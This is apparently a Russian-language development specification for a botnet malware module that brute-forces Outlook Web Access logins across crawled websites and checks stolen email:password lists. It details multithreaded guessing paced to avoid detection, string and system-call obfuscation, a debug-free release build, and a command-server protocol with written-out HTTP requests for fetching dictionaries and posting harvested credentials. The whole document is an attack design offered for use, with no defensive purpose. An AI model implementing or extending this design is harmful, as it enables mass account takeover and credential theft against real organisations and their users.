You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
290 lines
12 KiB
290 lines
12 KiB
ЗАДАНИЕ НА РАЗРАБОТКУ МОДУЛЯ ПОДБОРА ПАРОЛЕЙ К OUTLOOK WEB ACCESS (OWA)
|
|
|
|
Цель модуля - распределенный подбор паролей к OWA
|
|
|
|
* Пометка (отложить) означает, что этот функционал пока не нужно реализовывать.
|
|
|
|
|
|
ПРИНЦИП РАБОТЫ
|
|
|
|
Модуль получает с сервера следующую информацию в виде конфигов:
|
|
- список логин:пароль для подбора
|
|
- список настроек
|
|
- список серверов DPOST
|
|
|
|
Модуль состоит из двух частей:
|
|
- кроулер
|
|
- сканер
|
|
|
|
Кроулер генерирует url для проверки.
|
|
Сканер их проверяет.
|
|
|
|
Принцип работы кроулера: случайный обход доменов из топ-50000 списка наподобие Алекса.
|
|
Точный источник данных для обхода пока неясен - у Алексы платная подписка. Нужно найти альтернативу.
|
|
s3.amazonaws.com/alexa-static/top-1m.csv.zip
|
|
Например, https://www.quantcast.com/top-sites/US/3
|
|
|
|
(отложить) Запасной вариант: работа по жестко заданному списку сайтов, полученному с сервера.
|
|
|
|
Далее, модуль:
|
|
1. берет следующий сайт с выхода кроулера
|
|
2. проверяет наличие пути /owa
|
|
3. проверяет наличие пути mail.domain.com/owa
|
|
4. проверяет наличие пути webmail.domain.com/owa
|
|
5. если owa не найден ни по одному пути, goto 1
|
|
7. берет следующую пару логин:пароль из словаря
|
|
8. отправляет HTTP-запрос для логина в owa.
|
|
9. при неудаче логина, goto 7
|
|
10. при успехе, добавляем найденную комбинацию в список найденных логинов, в виде url|логин|пароль
|
|
|
|
|
|
РЕАЛИЗАЦИЯ
|
|
|
|
0. Название проекта - owa.
|
|
|
|
При реализации, следует сделать следующее (описание алгоритма существенно упрощено):
|
|
1. брут-форс должен производиться в несколько потоков.
|
|
Выбор конкретной схемы многопоточности за разработчиком.
|
|
Можно предложить следующий вариант:
|
|
* кроулер работает в один поток, все найденные url складывает в очередь (защищенную мютексом).
|
|
Потоки сканирования (число ограничено) берут несколько url для сканирования из очереди (это вариация пула потоков).
|
|
|
|
Каждый поток сканирования работает по Н случайно выбранным сайтам из списка.
|
|
При неудаче логина берется следующий сайт, а текущий ставится в конец очереди.
|
|
То есть, брут производится циклически по Н сайтам, чтобы не давать пик нагрузки на один и тот же сайт.
|
|
Если для сайта был найден пароль, он убирается из очереди.
|
|
- число потоков задается константой компиляции и настройкой из конфига
|
|
- модуль минимизирует число вызовов connect() для открытия TCP-соединений. Между итерациями, соединение следует держать
|
|
открытым до тех пор, пока сервер его не закроет. В этом случае, соединение следует переоткрыть.
|
|
Если попытка переоткрытия соединения не удалась дважды подряд, прекращаются попытки соединиться с данным сайтом на полчаса
|
|
(константа задается во время компиляции).
|
|
|
|
2. нужно предусмотреть задержку в секундах между итерациями подбора (также константа компиляции и настройка из конфига)
|
|
|
|
3. нужно предусмотреть настройку User-Agent. Он должен конфигурироваться как константа компиляции,
|
|
и как настройка модуля.
|
|
|
|
4. нужно предусмотреть, что сайт может реагировать на куки. К примеру, отказаться работать, если не получит куки,
|
|
отданные на изначальный GET / HTTP/1.1
|
|
|
|
5. Модуль отправляет список найденных паролей раз в Н минут (задается константой компиляции и настройкой из конфига),
|
|
при условии что с предыдущей отправки были найдены новые пароли.
|
|
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
|
|
|
|
6. (отложить) если брут не дал результатов, следует начать проверку по словарю.
|
|
URL словарей для скачивания берется из конфига "список настроек".
|
|
|
|
7. Модуль оформляется в соответствии с правилами разработки модулей (см. modules_HOWTO.txt)
|
|
|
|
8. Модуль отправляет следующие события с тегом owa:
|
|
- "Version build %DATE% %TIME%" (один раз при старте)
|
|
- "OWA passwords sent to DPOST server" при успешной отправке собранных паролей
|
|
- "OWA passwords send failure: servers unavailable" при отсутствии доступных серверов DPOST
|
|
- "No OWA passwords in range; trying dictionaries", если закончена отработка по всему списку, ничего не найдено, и начата отработка по словарям
|
|
- "No OWA passwords; give up", есди закончена отработка по словарям, и ничего не найдено.
|
|
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
|
|
|
|
9. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
|
|
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
|
|
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
|
|
|
|
10. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
|
|
|
|
11. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
|
|
|
|
12. Модуль должен иметь две версии - x32- и x64-разрядную.
|
|
|
|
13. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
|
|
|
|
14. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/owa.log (путь к логу настраивается в макросе).
|
|
|
|
15. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
|
|
|
|
16. Модуль должен работать на всех современных версиях Windows.
|
|
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
|
|
|
|
17. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.
|
|
|
|
18. Проект Visual Studio должен быть настроен следующим образом:
|
|
* Для ВСЕХ профилей сборки:
|
|
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
|
|
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
|
|
- Многопроцессорная компиляция: да
|
|
* Профиль Release:
|
|
- Формат отладочной информации (С/С++ создание кода): нет
|
|
- Создавать отладочную информацию (компоновщик/отладка): нет
|
|
|
|
|
|
КОНФИГИ
|
|
|
|
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)
|
|
Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в нижнем регистре.
|
|
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
|
|
XML-комментарии запрещены.
|
|
|
|
* settings
|
|
Конфиг представляет из себя простой xml в следующем формате:
|
|
<owa>
|
|
<delay>задержка между итерациями подбора, в миллисекундах</delay>
|
|
<threads>число потоков подбора</threads>
|
|
<nurl>число url, проверяемых одним потоком (циклически)</nurl>
|
|
<ua>user agent</ua>
|
|
(отложить)<dict1>URL дополнительного словаря 1</dict1>
|
|
(отложить)<dict2>URL дополнительного словаря 2</dict2>
|
|
(отложить)<dict3>URL дополнительного словаря 3</dict3>
|
|
...
|
|
<dictN>URL дополнительного словаря N</dictN>
|
|
</owa>
|
|
|
|
Все параметры из этого конфига опциональные. Если параметр не указан, используется константа времени компиляции.
|
|
|
|
* dpost
|
|
Конфиг представляет из себя простой xml в следующем формате:
|
|
|
|
<dpost>
|
|
<handler>http://11.22.33.44:8082</handler>
|
|
<handler>127.0.0.1:8083</handler>
|
|
</dpost>
|
|
|
|
Префикс http/https к обработчику опционален. Если он указан, следует работать по указанному протоколу.
|
|
Если он не указан:
|
|
- если значение порта чётное, то работа идёт без шифрования (HTTP), если порт нечётный, то работа идёт поверх SSL/TLS (HTTPS).
|
|
|
|
Конфиг содержит список серверов, на которые следует отправлять результаты по протоколу DPOST.
|
|
|
|
Формат отправки: простой текст; разделитель строк - \r\n, разделитель полей - символ '|' (вертикальная черта).
|
|
Формат записи:
|
|
|
|
url|user|password\r\n
|
|
|
|
* pw
|
|
Список пар "имя пользователя" "пароль".
|
|
Текст в упаковке gzip.
|
|
формат строки username|password\r\n
|
|
|
|
(отложить) * sites
|
|
|
|
Конфиг представляет из себя простой текстовый список, разделитель строк - символы \r\n
|
|
Каждая строка - одно доменное имя. Может как содержать префикс протокола http(s)://, так и не содержать.
|
|
В этом случае, при брут-форсе следует пробовать оба префикса.
|
|
|
|
(отложить) * dict
|
|
|
|
Конфиг представляет из себя простой текстовый список, разделитель строк - символы \r\n
|
|
Каждая строка - пара логин|пароль. Разделитель полей - символ '|' (вертикальная черта).
|
|
|
|
(отложить) * ignore
|
|
|
|
Конфиг представляет из себя простой текстовый список, разделитель строк - символы \r\n
|
|
Каждая строка - URL.
|
|
Сюда будут включены адреса топ-сайтов вроде gmail.
|
|
Адреса из этого списка следует игнорировать при переборе. Имеется в виду адрес текущего сканируемого домена,
|
|
а не доменная часть текущего перебираемого email-адреса.
|
|
|
|
|
|
ВТОРАЯ ВЕРСИЯ
|
|
|
|
Основные изменения второй версии:
|
|
- новый режим проверки
|
|
- работа с командным сервером
|
|
|
|
|
|
РЕЖИМ ПРОВЕРКИ
|
|
|
|
В этом режиме модуль не ищет новые пароли, а проверяет имеющуюся базу на актуальность.
|
|
Соответственно, в этом режиме:
|
|
- сканер работает не по списку Alexa, а берет на вход очередной email из словаря email:password
|
|
- алгоритм поиска URL OWA сохраняется (угадываем url'ы вида webmail.domain.com/owa)
|
|
- по одному домену (точнее, по угаданному URL OWA этого домена) мы проверяем одну конкретную пару email:password
|
|
- добавляется настройка mode=check|brute, где check - режим проверки, brute - режим поиска и брутфорса (логика первой версии).
|
|
По поводу конфигов и словарей см.дальше.
|
|
|
|
КОМАНДНЫЙ СЕРВЕР И КОНФИГИ
|
|
|
|
Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.
|
|
Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
|
|
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
|
|
отсутствие специализированного хранилища для результатов.
|
|
|
|
Вместо этого будет использоваться командный сервер, у которого мы просим настройки и входные списки,
|
|
и которому отдаем добычу.
|
|
|
|
В связи с этим, упраздняются все конфиги из первой версии.
|
|
Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
|
|
разделенных \r\n или \n, в формате адрес:порт.
|
|
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
|
|
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
|
|
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
|
|
|
|
Получить режим работы можно HTTP-запросом на сервер
|
|
|
|
GET /<group>/<clientid>/owa/mode HTTP/1.1
|
|
Значения group и clientid - это поля struct ParentInfo
|
|
CHAR ParentID[256];
|
|
CHAR ParentGroup[64];
|
|
(см. module_HOWTO)
|
|
|
|
В теле HTTP-ответа модуль ожидает строку brute или check.
|
|
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
|
|
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
|
|
|
|
Сканер получает список доменов для проверки HTTP-запросом на сервер
|
|
|
|
Число потоков сканирования:
|
|
GET /<group>/<clientid>/owa/th HTTP/1.1
|
|
|
|
В ответ - неотрицательное число.
|
|
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.
|
|
|
|
GET /<group>/<clientid>/owa/domains HTTP/1.1
|
|
Формат ответа:
|
|
адрес1[\r]\n
|
|
домен2[\r]\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
При завершении перебора по выданному списку мы даем знать об этом серверу:
|
|
|
|
GET /<group>/<clientid>/owa/over HTTP/1.1
|
|
|
|
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
|
|
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
|
|
и делает тот же самый запрос раз в 10 минут (время - в константу).
|
|
|
|
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
|
|
GET /<group>/<clientid>/owa/dict HTTP/1.1
|
|
|
|
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
|
|
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста.
|
|
Формат:
|
|
email:password[\r]\n
|
|
|
|
|
|
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
|
|
|
|
POST /<group>/<clientid>/owa/81 HTTP/1.1
|
|
|
|
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
|
|
Значение поля source - "OWA Passwords"
|
|
Значение поля data: простой текст, разделитель строк \r\n
|
|
Формат записи:
|
|
|
|
owa|url|<username>|<password>\r\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
|
|
GET /<group>/<clientid>/owa/freq HTTP/1.1
|
|
|
|
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
|
|
Если это 0 - отправка сразу по готовности нового результата.
|
|
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
|
|
очищая буфер при успешной отправке.
|
|
|
|
При завершении перебора по выданному списку мы даем знать об этом серверу:
|
|
|
|
GET /<group>/<clientid>/owa/over HTTP/1.1
|
|
|
|
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
|
|
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
|
|
и делает тот же самый запрос раз в 10 минут (время - в константу).
|